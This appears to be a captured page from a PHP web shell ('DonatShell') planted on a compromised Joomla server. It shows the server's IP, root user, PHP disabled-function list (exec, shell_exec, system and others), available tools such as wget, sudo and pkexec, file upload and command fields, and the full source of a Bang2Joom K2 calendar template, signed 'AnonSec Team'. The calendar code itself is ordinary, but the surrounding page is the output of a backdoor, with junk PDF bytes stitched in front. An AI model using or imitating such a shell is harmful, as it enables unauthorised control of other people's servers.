%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_b2j_k2_calendar/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_b2j_k2_calendar/tmpl/default.php
<?php

/* ------------------------------------------------------------------------
 * Bang2Joom K2 Calendar for Joomla 2.5+
 * ------------------------------------------------------------------------
 * Copyright (C) 2011-2012 Bang2Joom. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: Bang2Joom
 * Websites: http://www.bang2joom.com
  ------------------------------------------------------------------------
 */

defined('_JEXEC') or die('Restricted access');

$current_doc = JFactory::getDocument();
$current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/b2j_k2_calendar.css');
if ($color_presets == 1){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/default.css');
}
if ($color_presets == 2){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/albumen.css');
}
if ($color_presets == 3){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/food_mood.css');
}
if ($color_presets == 4){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/bali.css');
}
if ($color_presets == 5){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/manook.css');
}
if ($color_presets == 6){
    $current_doc->addStyleSheet(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/css/ppao.css');
}
$current_doc->addScript(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/js/b2j_datepicker.js');
$current_doc->addScript(JURI::base() . 'modules/mod_b2j_k2_calendar/tmpl/js/jquery.tinyscrollbar.min.js');

$mid = $module->id;
$now = JFactory::getDate();

$blank_url = JRoute::_('index.php?option=com_k2&view=itemlist&task=date&year={year}&month={month}&day={day}&catid='.$k2_category, false);
$month_names = array();
$weekday_names = array();
for ($i = 1; $i < 13; $i++) {
    $month_names[] = JText::_('MOD_B2J_K2_CALENDAR_MONTHS' . $i);
}
$json_months = stripslashes(json_encode($month_names));
for ($i = 1; $i < 8; $i++) {
    $weekday_names[] = JText::_('MOD_B2J_K2_CALENDAR_WEEKDAYS' . $i);
}

$month_names = json_encode($month_names);
$weekday_names = json_encode($weekday_names);

$calendar_day = jRequest::getInt("day");
$calendar_month = jRequest::getInt("month");
$calendar_year = jRequest::getInt("year");
$set_date = 0;
if ($calendar_year != 0 and $calendar_month != 0 and $calendar_day != 0) {
    $set_date = 1;
}
$module_height = $module_width * 5 / 7 + 60;


$style ="";

if ($color_presets == 0){
    $style .= '#b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .border, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view, 
               #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .counts, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view_header, 
               #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view ul li{
                    border-color: '.$border_color.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view ul li {
                    background-color: '.$active_days_color.';
                    color: '.$active_days_color_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .b2j_prev, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .b2j_next{
                    background-color: '.$button_color.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.title, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view_date{
                    background-color: '.$month_year_color.';
                    color: '.$month_year_color_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.noday, #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .item_list_view{
                    background-color: '.$passive_days_color.';
                    color: '.$passive_days_color_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.outday{
                    background-color: '.$out_of_month_days.';
                    color: '.$out_of_month_days_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .dow{
                    background:none;
                    background-color: '.$weekdays_color.';
                    color: '.$weekdays_color_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.selected,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.mon:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.tue:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.wed:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.thu:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.fri:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.sat:hover,
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.sun:hover {
                    background:none;
                    background-color: '.$selected_day.';
                    color: '.$selected_day_text.';
                }
                #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core.today{
                    background:none;
                    background-color: '.$today_color.';
                    color: '.$today_color_text.';
                }
    ';
}
$style .= '#b2j_k2_calendar_container_module_' . $mid . ' {
        max-width: ' . ($module_width+1) . 'px;
        min-width: ' . 200 . 'px;
        height: ' . ($module_width+1) . 'px;
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default {
        
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .gldp-default .core {
        font-size: ' . $font_size . 'px;
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .item_list_view .title_view a{
        font-size: ' . $title_font_size . 'px;
        color: ' . $title_font_color . ' !important;
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .item_list_view .title_view{
        font-size: ' . $title_font_size . 'px;
        color: ' . $title_font_color . ' !important;
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .item_list_view .date_view{
        font-size: ' . $date_font_size . 'px;
        color: ' . $date_font_color . ' !important;
    }
    #b2j_k2_calendar_container_module_' . $mid . ' .item_list_view .introtext_view{
        font-size: ' . $introtext_font_size . 'px;
        color: ' . $introtext_font_color . ' !important;
    }
';
$current_doc->addStyleDeclaration($style);
?>
<div id="b2j_k2_calendar_container_module_<?PHP echo $mid ?>" class="b2j_k2_calendar_container_module <?php echo "b2j_" . $msfx; ?>">
    <input class="b2j_calendar_input" type="text" gldp-id="b2j_date" />
    <div class="loading"></div>
    <div class="b2j_calendar" gldp-el="b2j_date" style="width:100%; height:100%;">
    </div>
</div>

<script type="text/javascript">
    var months = JSON.parse('<?php echo $json_months ?>');
    // Add toMysqlFormat function to date
    Date.prototype.toMysqlFormatYearMonthDay = function() {
        return this.getFullYear() + "-" + twoDigits<?PHP echo $mid ?>(1 + this.getMonth()) + "-" + twoDigits<?PHP echo $mid ?>(this.getDate());
    };
    Date.prototype.toMysqlFormatYearMonth = function() {
        return this.getFullYear() + "-" + twoDigits<?PHP echo $mid ?>(1 + this.getMonth());
    };
    Date.prototype.toMysqlFormatYearMonthDayTitle = function() {
        return twoDigits<?PHP echo $mid ?>(this.getDate()) + " " + months[this.getMonth()] + " " + this.getFullYear();
    };
    // add leading 0 to month
    function twoDigits<?PHP echo $mid ?>(d) {
        if(0 <= d && d < 10) return "0" + d.toString();
        return d.toString();
    }
    
    //function font resizer, and some responsive work
    function resize_font<?PHP echo $mid ?>(width){
        var x_times_larger_font = ( width / <?php echo $module_width; ?> ) * <?php echo $font_size ?>;
        var x_times_larger_font_title = ( width / <?php echo $module_width; ?> ) * <?php echo $title_font_size ?>;
        var x_times_larger_font_introtext = ( width / <?php echo $module_width; ?> ) * <?php echo $introtext_font_size ?>;
        var x_times_larger_font_date = ( width / <?php echo $module_width; ?> ) * <?php echo $date_font_size ?>;
        if (x_times_larger_font < 10){
            x_times_larger_font = 10;
        }
        if (x_times_larger_font_title < 10){
            x_times_larger_font_title = 10;
        }
        if (x_times_larger_font_introtext < 10){
            x_times_larger_font_introtext = 10;
        }
        if (x_times_larger_font_date < 10){
            x_times_larger_font_date = 10;
        }
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .core').css('font-size', Math.floor(x_times_larger_font) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .item_list_view .introtext_view').css('font-size', Math.floor(x_times_larger_font_introtext) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .item_list_view .title_view a').css('font-size', Math.floor(x_times_larger_font_title) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .item_list_view .title_view').css('font-size', Math.floor(x_times_larger_font_title) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .item_list_view .date_view').css('font-size', Math.floor(x_times_larger_font_date) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .monyear span').css('font-size', Math.floor(x_times_larger_font) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_date').css('font-size', Math.floor(x_times_larger_font) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .counts').css('font-size', Math.floor(x_times_larger_font * 0.8) + "px");
        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .counts').css('line-height', Math.floor(x_times_larger_font * 0.6) + "px");
        if (jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?>').width() < 220){
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .counts').hide();
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close').css('width', '12px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close').css('height', '12px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close:hover').css('width', '12px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close:hover').css('width', '12px');
        } else {
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .counts').show();
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close').css('width', '18px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close').css('height', '18px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close:hover').css('width', '18px');
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .item_list_view_close:hover').css('width', '18px');
        }
    }
    //variable inits
    var blank_url = '<?php echo $blank_url ?>';
    var current_date_full = new Date();
        current_date_full.setDate(1);
    var current_date = current_date_full.toMysqlFormatYearMonth(); //2010-08
		
		<?php 
			if ($set_date){
		?>
		current_date_full = new Date(<?php echo $calendar_year; ?>, <?php echo $calendar_month-1; ?>, <?php echo $calendar_day; ?>);
		current_date = current_date_full.toMysqlFormatYearMonth();
		<?php 
			}
		?>
    
    jQuery(document).ready(function() {
        
        // Render first time
        get_calendar<?PHP echo $mid ?>(current_date);
        // prev button
        jQuery(document).on('click','#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_prev', function(){
            current_date_full.setMonth(current_date_full.getMonth()-1);
            current_date = current_date_full.toMysqlFormatYearMonth();
            get_calendar<?PHP echo $mid ?>(current_date);
        });
        //next button
        jQuery(document).on('click', '#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_next', function(){
            current_date_full.setMonth(current_date_full.getMonth()+1);
            current_date = current_date_full.toMysqlFormatYearMonth();
            get_calendar<?PHP echo $mid ?>(current_date);
        });
        //month change
        jQuery(document).on('change', '#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_month_select', function(){
            var month = twoDigits<?PHP echo $mid ?>(jQuery(this).val());
            current_date_full.setMonth(month);
            current_date = current_date_full.toMysqlFormatYearMonth();
            get_calendar<?PHP echo $mid ?>(current_date);
        });
        //year change
        jQuery(document).on('change', '#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_year_select', function(){
            var year = jQuery(this).val();
            current_date_full.setYear(year);
            current_date = current_date_full.toMysqlFormatYearMonth();
            get_calendar<?PHP echo $mid ?>(current_date);
        });
        //Item view close button
        jQuery(document).on('click', '#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .item_list_view_close', function(){
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default > .item_list_view').remove();
            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default > div').show();
        });       
    });
    // for responsive;
    jQuery(window).resize(function() {
        if(typeof t_id !='undefined'){
            clearTimeout(t_id);
        }
        t_id=setTimeout(function(){
            get_calendar<?PHP echo $mid ?>(current_date);
        }, 500);
    });
    //get calendar main function
    function get_calendar<?PHP echo $mid ?>(current_date){
        jQuery("#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .loading").show();
        var now_time = Math.floor(new Date().getTime());
        jQuery.get(window.location, {
            now_time: now_time,
            auth: "<?php echo md5("NOW" . $now) ?>",
            last_refresh: "<?php echo $now ?>",
            mid: <?php echo $mid ?>,
            current_date: current_date,
            get_items: 0,
        },   
        //response
        function(data) {
            if (data != ""){
                if(data.indexOf("{b2j_mark1_" + <?php echo $mid ?> + "}") < 0){
                    alert('jQuery problem');
                    return;
                }
                var startIndex = data.indexOf("{b2j_mark1_" + <?php echo $mid ?> + "}");
                var endIndex = data.indexOf("{b2j_mark2_" + <?php echo $mid ?> + "}");
                var data = data.substr(startIndex,endIndex-startIndex);
                var data = data.replace("{b2j_mark1_" + <?php echo $mid ?> + "}","");
                var data = data.replace("{b2j_mark2_" + <?php echo $mid ?> + "}","");
                try {
                    var items = JSON.parse(data);
                } catch (err) {
                    alert("Error occured in B2J Calendar module. Make sure caching for module is turned off");
                }
                var item_dates = Array();
                for(var i = 0; i < items.length ; i++){
                    var item = items[i];
                    var item_arr = item.split("*");
                    var date_arr = item_arr[0].split("-");
                    var obj = new Object();
                    obj.date = new Date(date_arr[0], parseInt(date_arr[1])-1, date_arr[2]);
                    obj.counts = item_arr[1];
                    item_dates[i] = obj;
                }
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').empty();
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').addClass('b2j_calendar');
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_calendar').removeClass('gldp-default');
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_calendar').css('width', jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?>').width()+'px');
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_calendar').css('height', Math.floor(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?>').width()*8/7)+'px');
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?>').css('height', Math.floor(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?>').width()*8/7)+'px');
                if(!jQuery.isFunction(jQuery.fn.b2j_datepicker)){
                   alert('There seems to be multiple jQuery libraries included or javascript errors exist, fix the issue, so B2J Calendar module can work properly!') ;
                }
                jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .b2j_calendar_input').b2j_datepicker({
                                            dowOffset: <?php echo $starting_weekday ?>,
                                            borderSize: <?php echo $border_size ?>,
                                            selectableDatesCounts: item_dates,
                                            firstDate: current_date + '-01',
                                            selectableDatesCountsShow: <?php echo $show_counts ?>,
                                            future_days: <?php echo $future_days ?>,
                                            dowNames: <?php echo $weekday_names ?>, 
                                            monthNames: <?php echo $month_names ?>,
                                            <?php if ($only_active_days) { 
                                            echo "
                                                
                                                selectableDates: item_dates, 
                                            ";
                                             } 
                                            if ($calendar_mode == 0) {
                                                echo "
                                                onClick: (function(el, cell, date, data) {
                                                    blank_url = blank_url.replace('{year}', date.getFullYear());
                                                    blank_url = blank_url.replace('{month}', parseInt(date.getMonth() + 1));
                                                    blank_url = blank_url.replace('{day}', date.getDate());
                                                    window.location = blank_url;
                                                }),
                                            ";
                                            }
                                            if ($calendar_mode == 1) {
                                                echo "
                                                onClick: (function(el, cell, date, data) {
                                                    if(".$show_counts." && !cell.find('span').length){
                                                        return;
                                                    }
                                                    jQuery('#b2j_k2_calendar_container_module_".$mid." .loading').show();
                                                    var now_time = Math.floor(new Date().getTime() / 1000);
                                                    jQuery.get(window.location, {			
                                                        now_time: now_time,
                                                        auth: '".md5('NOW' . $now)."',
                                                        last_refresh: '".$now."',
                                                        mid: ".$mid.",
                                                        current_date: date.toMysqlFormatYearMonthDay(),
                                                        get_items: 1,
                                                    },   
                                                    //response
                                                    function(data) {
                                                        if (data != ''){
                                                            if(data.indexOf('{b2j_mark1_". $mid . "}') < 0){
                                                                alert('jQuery problem');
                                                                return;
                                                            }
                                                            var startIndex = data.indexOf('{b2j_mark1_". $mid . "}');
                                                            var endIndex = data.indexOf('{b2j_mark2_". $mid . "}');
                                                            var data = data.substr(startIndex,endIndex-startIndex);
                                                            var data = data.replace('{b2j_mark1_". $mid . "}','');
                                                            var data = data.replace('{b2j_mark2_". $mid . "}','');
                                                            jQuery('#b2j_k2_calendar_container_module_".$mid." .gldp-default > div').hide();
                                                            var item_list_view = jQuery('<div/>').addClass('item_list_view');
                                                            var item_list_vew_header = jQuery('<div/>').addClass('item_list_view_header').height(jQuery('.monyear.title').height());
                                                            var item_list_vew_footer = jQuery('<div/>').addClass('item_list_view_footer');
                                                            item_list_vew_footer.attr('id', 'footer_".$mid."');
                                                            var item_list_vew_close = jQuery('<div/>').addClass('item_list_view_close');
                                                            var item_list_vew_date = jQuery('<div/>').addClass('item_list_view_date').html(date.toMysqlFormatYearMonthDayTitle());
                                                            item_list_vew_date.css('line-height', jQuery('.monyear.title').height() + 'px');
                                                            var ul = jQuery('<ul/>').append(data);
                                                            var ul_parent = jQuery('<div/>').append(ul);
                                                            ul_parent.addClass('overview');
                                                            var ul_parent_parent = jQuery('<div/>').append(ul_parent);
                                                            ul_parent.append(ul);
                                                            ul_parent_parent.addClass('viewport');
                                                            ul_parent_parent.css('height', Math.floor(jQuery('#b2j_k2_calendar_container_module_".$mid."').width()*8/7) - jQuery('.monyear.title').height() - 1 +'px');
                                                            item_list_vew_header.append(item_list_vew_close);
                                                            item_list_vew_header.append(item_list_vew_date);
                                                            item_list_vew_footer.html('<div class=\'scrollbar\'><div class=\'track\'><div class=\'thumb\'><div class=\'end\'></div></div></div></div>');
                                                            item_list_vew_footer.append(ul_parent_parent);
                                                            item_list_view.append(item_list_vew_header);
                                                            item_list_view.append(item_list_vew_footer);
                                                            jQuery('#b2j_k2_calendar_container_module_".$mid." .gldp-default').prepend(item_list_view);
                                                            resize_font".$mid."(jQuery('#b2j_k2_calendar_container_module_".$mid." .gldp-default').width());
                                                            jQuery('#footer_".$mid."').tinyscrollbar();
                                                            jQuery('#footer_".$mid."').tinyscrollbar_update();
                                                            jQuery('#b2j_k2_calendar_container_module_".$mid." .loading').hide();
                                                        }
                                                    })
                                                })
                                            ";
                                            }
                                            if($set_date){
                                                echo "
                                                selectedDate: new Date(".$calendar_year.", ".($calendar_month-1).", ".$calendar_day."),
                                                ";
                                            }
                                            ?>
                                            });
                while(true){
                    if(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').length>0){
                        jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').css('width', jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').width() + 1);
                        resize_font<?PHP echo $mid ?>(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default').width());
                        if(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .core:nth-last-child(7)').hasClass('outday')){
                            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .core:not(:nth-last-child(n+8))').remove();
                        }
                        if(jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .core:nth-child(17)').hasClass('outday')){
                            jQuery('#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .gldp-default .core:nth-child(n+11):nth-child(-n+17)').remove();
                        }
                        jQuery("#b2j_k2_calendar_container_module_<?PHP echo $mid ?> .loading").hide();
                        break;
                    }
                }
            }
        });
    }
</script>

Anon7 - 2022
AnonSec Team